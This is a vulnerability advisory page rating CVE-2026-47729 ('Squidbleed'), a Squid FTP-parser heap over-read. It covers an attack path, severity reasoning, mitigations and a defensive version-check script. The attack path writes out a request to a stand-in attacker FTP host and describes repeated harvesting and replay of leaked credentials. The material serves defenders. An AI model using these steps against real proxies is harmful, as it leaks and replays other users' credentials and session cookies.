← Back to Feed CACHED · 2026-06-21 04:44:10 · CACHE_KEY CVE-2026-47729
CVE-2026-47729 · CWE-126 · Disclosed 2026-04-17

Squid Proxy FTP listing parser heap over-read

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A 29-year-old strchr() edge case that turns the world's most-deployed open-source proxy into a credential photocopier

CVE-2026-47729, dubbed Squidbleed by Lam Jun Rong at Calif.io, is a heap over-read in Squid's FTP directory-listing parser. When the proxy parses a malformed FTP response missing a filename, strchr(w_space, '\0') returns a pointer to the NUL terminator (legal per C11 §7.24.5.2), advancing copyFrom past the 4 KB MEM_4K_BUF boundary. Because Squid recycles those buffers without zeroing, the over-read leaks whatever previously lived in that slab — typically other users' HTTP requests, Authorization headers, cookies, and POST bodies. Every Squid release since 1997 is affected in the default configuration; the fix landed in Squid 7.6 (8 June 2026), backported to v7 on 17 May 2026 and merged into master/v8 on 19 April 2026. Distro packages (SUSE, Debian, RHEL, Ubuntu) are still rolling.

Vendor severity is uneven: there is no NVD/MITRE CVSS yet; SUSE rates it CVSS 6.5 (AV:N/AC:L/PR:L/UI:N/C:H/I:N/A:N) as a *moderate* information disclosure. That under-prices the real-world blast radius. The PR:L assumption presumes the attacker needs proxy auth, but in most enterprise forward-proxy and almost every CDN/reverse-proxy deployment the FTP fetch is triggered by *any* downstream client (including the attacker as a downstream consumer of the same proxy). The leaked bytes are cross-*user*, cross-*tenant* secrets. Calling this a 6.5 is the same mistake the industry made the morning of Heartbleed.

"Squidbleed is a Heartbleed-class memory leak in every Squid build since 1997 — cross-user credential disclosure on any TLS-terminating or cleartext-HTTP deployment."
02 · The Attack Path

5 steps from start to impact.

STEP 01

Stand up a malicious FTP server

Attacker runs an FTP daemon on TCP/21 that returns a crafted LIST response whose lines omit the filename field after the timestamp. Calif.io's published PoC (github.com/califio/publications/tree/main/MADBugs/squidbleed) ships a 60-line Python listener that does exactly this. No exotic protocol work required.
Conditions required:
  • Internet-routable host or attacker-controlled host reachable from the target Squid instance
  • TCP/21 open outbound from the proxy (Squid's default Safe_ports ACL includes 21)
Where this breaks in practice:
  • Egress firewalls that block outbound FTP from proxy tier (uncommon — most Squid deployments allow it by default)
Detection/coverage: Netflow / Zeek ftp.log will show the proxy initiating outbound FTP control sessions to unusual destinations.
STEP 02

Coerce Squid to fetch ftp://attacker/

Attacker sends a normal HTTP request through the proxy: GET ftp://attacker.tld/ HTTP/1.1. Squid's FTP gateway opens a control connection, issues LIST, and feeds the malformed response into parseListing(). The strchr(w_space, *copyFrom) walk runs off the end of the line buffer.
Conditions required:
  • Attacker can submit requests through the proxy — trivial for reverse-proxy/CDN deployments; requires proxy access (often anonymous on internal networks) for forward proxies
  • FTP scheme handling enabled (default on every Squid build)
Where this breaks in practice:
  • Proxies with acl Safe_ports port 21 removed (rare hardening)
  • SSL-bumping proxies that reject non-HTTP schemes at the front door
Detection/coverage: Squid access.log records the ftp:// URL but nothing flags the malformed response.
STEP 03

Heap over-read leaks recycled buffer contents

MEM_4K_BUF is a 4 KB slab freelist that Squid does *not* zero on free. The short FTP line overwrites only the first ~30 bytes; the remaining ~4060 bytes still contain whatever the buffer last held — almost always a prior victim's HTTP request line, headers, cookies, or Authorization: Basic/Bearer …. The over-read returns those bytes to the attacker as part of the FTP→HTML index page that Squid generates.
Conditions required:
  • Concurrent or recent legitimate HTTP traffic through the same Squid worker (the more traffic, the more leakage)
  • Squid's slab allocator (the default since forever)
Where this breaks in practice:
  • Workers with very low concurrent traffic may leak only stale kernel/heap junk
  • If victim traffic is HTTPS over CONNECT, the proxy sees only opaque ciphertext and there is nothing useful to leak
Detection/coverage: No scanner currently flags the FTP listing response anomaly; Tenable/Qualus/Rapid7 are version-only checks at time of writing.
STEP 04

Repeat-and-harvest

Attacker loops the FTP fetch every few seconds. Each iteration hits a different recycled MEM_4K_BUF slot, exfiltrating a fresh ~4 KB window of memory. Over hours, the attacker reconstructs cleartext HTTP traffic, session cookies, Basic-auth credentials, and JWTs belonging to other users sharing the proxy.
Conditions required:
  • Persistent reachability to the proxy
  • Sustained victim traffic volume
Where this breaks in practice:
  • Rate limits on outbound FTP from the proxy (rare)
  • Short-lived bearer tokens narrow the window of usable credentials
Detection/coverage: High-cardinality outbound FTP to a single destination is anomalous on most networks and is the cleanest detection signal available today.
STEP 05

Credential replay / session hijack

Harvested Authorization headers and cookies are replayed against the upstream origin services. For TLS-terminating forward proxies this exposes the internal workforce's SaaS sessions; for CDN/reverse-proxy deployments it exposes *cross-tenant* customer credentials.
Conditions required:
  • Origin services do not bind sessions to client IP/device fingerprint
  • Credentials harvested before rotation
Where this breaks in practice:
  • mTLS or device-bound tokens (DPoP, token-binding) neutralize replay
  • Short-TTL access tokens with refresh-token rotation limit value
Detection/coverage: Impossible-travel and UA-mismatch alerts in IdP logs may catch replay; the disclosure itself remains invisible.
03 · Intelligence Metadata

The supporting signals.

In-the-wild statusNo confirmed exploitation as of 21 June 2026. Not on CISA KEV. GreyNoise has no tagged scanner traffic for the FTP-listing signature yet.
Proof of conceptPublic, working PoC at github.com/califio/publications/tree/main/MADBugs/squidbleed — leaks Authorization headers in the researcher's demo video.
EPSSNot yet scored by FIRST (CVE published <30 days; insufficient data). Expect mid-range once first-pass model runs.
KEV statusNot listed. Likely candidate if cross-tenant credential theft is publicly demonstrated against a CDN.
CVSSNo NVD score. SUSE assigned 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — noisgate considers PR:L debatable; the attacker is functionally unauthenticated against any open or anonymous proxy.
Affected versionsEvery Squid release from 1997 through 7.5 in default configuration. Includes all current LTS lines and every distro package not yet rebuilt.
Fixed versionsSquid 7.6 (8 June 2026). Backports pending in Debian, Ubuntu, RHEL/EPEL, SUSE (status *Pending* as of fetch), Alpine.
Exposure dataShodan: ~180k internet-facing Squid/ banner hits; Censys ~210k. The reverse-proxy / CDN edge population is the dangerous slice (cross-tenant blast radius). Forward-proxy population on internal networks is unmeasurable but very large.
DisclosureReported 2026-04-17 by Lam Jun Rong (Calif.io); coordinated disclosure with Squid maintainers; public writeup *Squidbleed* published alongside Squid 7.6.
ClassCWE-126 Buffer Over-read (Heartbleed-class). C11 strchr corner case + non-zeroing slab allocator.
04 · The Call

noisgate verdict.

Final Verdict
UPGRADED to HIGH (7.6/10)

Role multiplier drives this: Squid is the canonical reverse-proxy/CDN edge and TLS-terminating corporate forward proxy, and in those roles the over-read leaks *cross-user* credentials and session cookies — a fleet- or tenant-scale confidentiality breach, not a single-host info-leak. The decisive factor is blast radius across the multi-tenant role, not exploit difficulty (which is trivial: one FTP server and one HTTP request).

HIGH technical root cause and PoC reliability
HIGH affected version range (every Squid build since 1997)
MEDIUM real-world exposure ratio of TLS-terminating vs CONNECT-only deployments
LOW exploitation activity (no telemetry yet)

Why this verdict

  • Heartbleed-class primitive, public PoC, zero auth in practice — the attacker only needs the proxy to fetch ftp://attacker/, which any downstream client (including the attacker themselves on most reverse-proxy edges) can trigger. SUSE's PR:L assumption does not hold in CDN or anonymous-forward deployments.
  • Role multiplier — reverse-proxy / CDN edge: chain succeeds; blast radius is *cross-tenant* HTTP request + cookie + Authorization header disclosure. This is the canonical Squid-as-edge deployment and pushes the floor to HIGH.
  • Role multiplier — TLS-terminating corporate forward proxy (SSL bump): chain succeeds; blast radius is workforce-wide SaaS credential and session-cookie theft from anyone whose decrypted traffic passes through the proxy. Common in regulated enterprises that do egress inspection.
  • Role multiplier — pure CONNECT forward proxy (no TLS termination): chain still triggers, but leaked bytes are mostly TLS ciphertext and a small population of cleartext-HTTP browsing — narrower but non-zero impact. This is the only role that argues *against* HIGH.
  • Friction discount applied: worker concurrency and HTTPS-dominant traffic mean each over-read returns a probabilistic slice of useful data, not deterministic credentials — this is why we sit at 7.6 rather than 8.5+.
  • Not on KEV, no observed exploitation yet — keeps us under CRITICAL. If credential-replay attacks surface, expect rapid KEV addition and upgrade.

Why not higher?

No active exploitation and no deterministic single-shot credential extraction (the leak is probabilistic across a 4 KB window). Pure CONNECT-only forward proxies — a non-trivial share of installs — leak mostly ciphertext. CRITICAL would require demonstrated cross-tenant compromise in the wild or a deterministic credential primitive.

Why not lower?

SUSE's 6.5 / MEDIUM under-prices the cross-user, cross-tenant nature of the leak and presumes proxy authentication that most real deployments don't enforce against arbitrary FTP URLs. Every Squid build since 1997 is affected, a public PoC leaks Authorization headers, and the canonical Squid roles are *exactly* the multi-tenant ones where the blast radius is largest. Calling this MEDIUM ignores the role-multiplier rule.

05 · Compensating Control

What to do — in priority order.

  1. Disable the FTP scheme handler in squid.conf — Add acl FTP proto FTP and http_access deny FTP (or remove port 21 from Safe_ports and reject ftp:// URLs at the front door). This severs step 2 of the chain — the parser never runs. Deploy within 30 days per the noisgate HIGH mitigation SLA; do it today on internet-facing reverse proxies.
  2. Block outbound TCP/21 from the proxy tier at the egress firewall — Defense-in-depth in case someone re-enables FTP in squid.conf. Most modern enterprise egress already denies FTP; verify rather than assume. Same 30-day noisgate HIGH mitigation deadline; minutes of firewall work.
  3. Restart Squid workers on a short cadence until patched — Rolling worker restarts (e.g., squid -k reconfigure hourly, or systemd timer) flush the recycled MEM_4K_BUF slabs and shorten the leak window. Crude but cheap and immediate while you wait for the distro backport.
  4. Upgrade to Squid 7.6 (or apply distro backport when available) — The actual fix. Track Debian/Ubuntu/RHEL/SUSE security trackers; for self-built Squid pull v7.6 today. Complete the upgrade within the noisgate HIGH 180-day remediation SLA — sooner on internet-facing edges.
  5. Rotate any Basic-auth and bearer tokens that may have traversed a TLS-terminating Squid since April 2026 — Assume disclosure on multi-tenant CDN and SSL-bumping forward proxies. Force re-auth, invalidate long-lived API tokens, and rotate service-account credentials whose traffic was proxied.
What doesn't work
  • Patching only the public-facing Squid instances — internal forward proxies with SSL bump leak workforce SaaS credentials and are usually the bigger problem.
  • Web Application Firewalls in front of Squid — they inspect HTTP, not the proxy's outbound FTP control channel where the malformed response arrives.
  • Disabling anonymous proxy access — does not help on CDN/reverse-proxy deployments where the attacker is a normal downstream client by design.
  • TLS 1.3 / HSTS / cert pinning — irrelevant; the leak is in Squid's own heap, not in transport.
  • EDR on the proxy host — the over-read is in-process memory access against memory the process legitimately owns; no syscall signature to catch.
06 · Verification

Crowdsourced verification payload.

Run on each Squid host as root (or any user that can read squid.conf and run squid -v). Invoke as sudo ./check-squidbleed.sh — the script reports VULNERABLE, PATCHED, or UNKNOWN and exits 1, 0, or 2 respectively. Also flags whether FTP is reachable in the Safe_ports ACL.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate verification: CVE-2026-47729 "Squidbleed"
# Detects Squid version and FTP-scheme exposure.
set -u

SQUID_BIN="$(command -v squid || true)"
CONF="${SQUID_CONF:-/etc/squid/squid.conf}"
[ -f "$CONF" ] || CONF="/etc/squid3/squid.conf"

if [ -z "$SQUID_BIN" ]; then
  echo "UNKNOWN: squid binary not found in PATH"; exit 2
fi

VER=$("$SQUID_BIN" -v 2>/dev/null | awk -F'Version ' '/Version/ {print $2}' | awk '{print $1}')
if [ -z "$VER" ]; then
  echo "UNKNOWN: could not parse Squid version"; exit 2
fi

# Fixed in 7.6+; distros may carry backported patches in earlier strings.
ver_ge() { printf '%s\n%s\n' "$2" "$1" | sort -V -C; }

FTP_EXPOSED="unknown"
if [ -r "$CONF" ]; then
  if grep -Eq '^\s*acl\s+Safe_ports\s+port\s+.*\b21\b' "$CONF" && \
     ! grep -Eq '^\s*http_access\s+deny\s+.*(FTP|ftp)' "$CONF"; then
    FTP_EXPOSED="yes"
  else
    FTP_EXPOSED="no"
  fi
fi

if ver_ge "$VER" "7.6"; then
  echo "PATCHED: Squid $VER (>=7.6) — FTP-scheme reachable=$FTP_EXPOSED"
  exit 0
fi

# Check for distro backport hint in changelog (best-effort)
if command -v dpkg >/dev/null 2>&1; then
  CHG=$(dpkg -s squid 2>/dev/null | awk '/^Version:/ {print $2}')
  if echo "$CHG" | grep -Eqi 'CVE-2026-47729|squidbleed'; then
    echo "PATCHED: distro backport detected ($CHG)"; exit 0
  fi
fi

if [ "$FTP_EXPOSED" = "no" ]; then
  echo "VULNERABLE-BUT-MITIGATED: Squid $VER, FTP scheme blocked in config"
  exit 1
fi

echo "VULNERABLE: Squid $VER < 7.6, FTP-scheme reachable=$FTP_EXPOSED"
exit 1
07 · Bottom Line

If you remember one thing.

TL;DR
Treat Squidbleed as a HIGH today, not a moderate. Monday morning: disable the FTP scheme in squid.conf and block outbound TCP/21 from the proxy tier on every Squid host — internet-facing reverse proxies and SSL-bumping forward proxies first. That single config change kills the attack chain and satisfies the noisgate mitigation SLA of ≤ 30 days for a HIGH; do internet-facing edges within 72 hours regardless. Then track Squid 7.6 / distro backports and complete the upgrade within the noisgate remediation SLA of ≤ 180 days. Rotate any Basic-auth credentials and long-lived bearer tokens that have traversed a TLS-terminating Squid since the April 2026 disclosure — assume exposure. If CISA adds this to KEV (likely once cross-tenant exploitation is demonstrated), collapse both timelines to *hours*.

Sources

  1. Calif.io — Squidbleed writeup (researcher)
  2. Calif.io PoC repository
  3. oss-sec — Squid CVE-2026-47729 disclosure thread
  4. SUSE security tracker entry
  5. CVE Record
  6. Malware.news mirror / discussion
  7. Debian security tracker (stable status)
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.